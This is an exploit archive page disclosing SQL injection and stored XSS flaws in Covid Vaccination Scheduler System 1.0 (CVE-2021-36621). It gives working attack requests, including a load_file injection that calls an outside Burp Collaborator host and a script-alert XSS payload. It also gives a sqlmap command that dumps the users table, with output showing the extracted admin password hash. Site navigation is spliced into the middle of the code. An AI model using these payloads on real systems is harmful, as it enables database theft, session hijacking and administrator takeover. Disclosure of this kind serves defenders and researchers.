Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting

Authored by nu11secur1ty | Site github.com

Posted Sep 29, 2021

Covid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2021-36621
SHA-256 | ae710b05bd025d7e79e635176777882000a5dc8e341484db8f13afd0794170b66 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621)
## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html)


## Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED
PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication.

The attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system
and exploit the admin account.

Next, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password.
Hence, the attacker could authenticate as an Administrator.

## Request MySQL:
GET /scheduler/addSchedule.php?lid=
(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d=
HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

## Respond MySQL:
HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:17:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 5045
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...

## Live test:
http://localhost/scheduler/addSchedule.php?lid=
(select%20load_file(%27%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd%27))

- proof:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-
2821/docs/scheduler-CVE-Critical.gif

------------------------------------------------------------------------------------------------------------
-------------------------

## Request XSS:
GET /scheduler/addSchedule.php?lid=5&d=v6qfw%3cscript%3ealert(1)%3c%2fscript%3eytpic HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

## Respond XSS:
HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:16:57 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4576
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...
<h3>Schedule Form: (v6qfw<script>alert(1)</script>ytpic)</h3>
...[SNIP]...

------------------------------------------------------------------------------------------------------------
## Live test:
- proof:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/docs/XSS.gif

------------------------------------------------------------------------------------------------------------


## PoC:
python sqlmap.py python C:\Users\venvaropt\Desktop\CVE\sqlmap\sqlmap.py -u
"http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=nullsecurlty" --
cookie="PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler
-T users -C username,password --dump

## OUTPUT:
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 157 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 9211 FROM (SELECT(SLEEP(5)))oCqY) AND
'giEC'='giEC&password=nullsecurlty
---
[19:49:38] [INFO] the back-end DBMS is MySQL
[19:49:38] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: PHP 7.4.22, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[19:49:43] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'scheduler'
[19:49:43] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database
'scheduler'
[19:49:43] [INFO] retrieved: 1
[19:49:49] [WARNING] (case) time-based comparison requires reset of statistical model, please
wait.....................................  (done)
[19:49:56] [INFO] adjusting time delay to 1 second due to good response times
0192023a7bbd73250516f069df18b500
[19:51:46] [INFO] retrieved: admin
[19:52:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+

[19:52:02] [INFO] table 'scheduler.users' dumped to CSV file
'C:\Users\venvaropt\AppData\Local\sqlmap\output\localhost\dump\scheduler\users.csv'
[19:52:02] [INFO] fetched data logged to text files under
'C:\Users\venvaropt\AppData\Local\sqlmap\output\localhost'

[*] ending @ 19:52:02 /2021-09-28/


C:\Users\venvaropt\Desktop\scheduler-CVE-Critical-CVE-18-09-2821>
-------------------------------------------------------------------------------------------------------------------------------
## Reproduce:
https://github.com/nullsecurlty/CVE-nullsecurlty/edit/main/vendors/oretnom23/CVE-null-18-09-2821

## Proof:
https://streamable.com/zcp31i
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed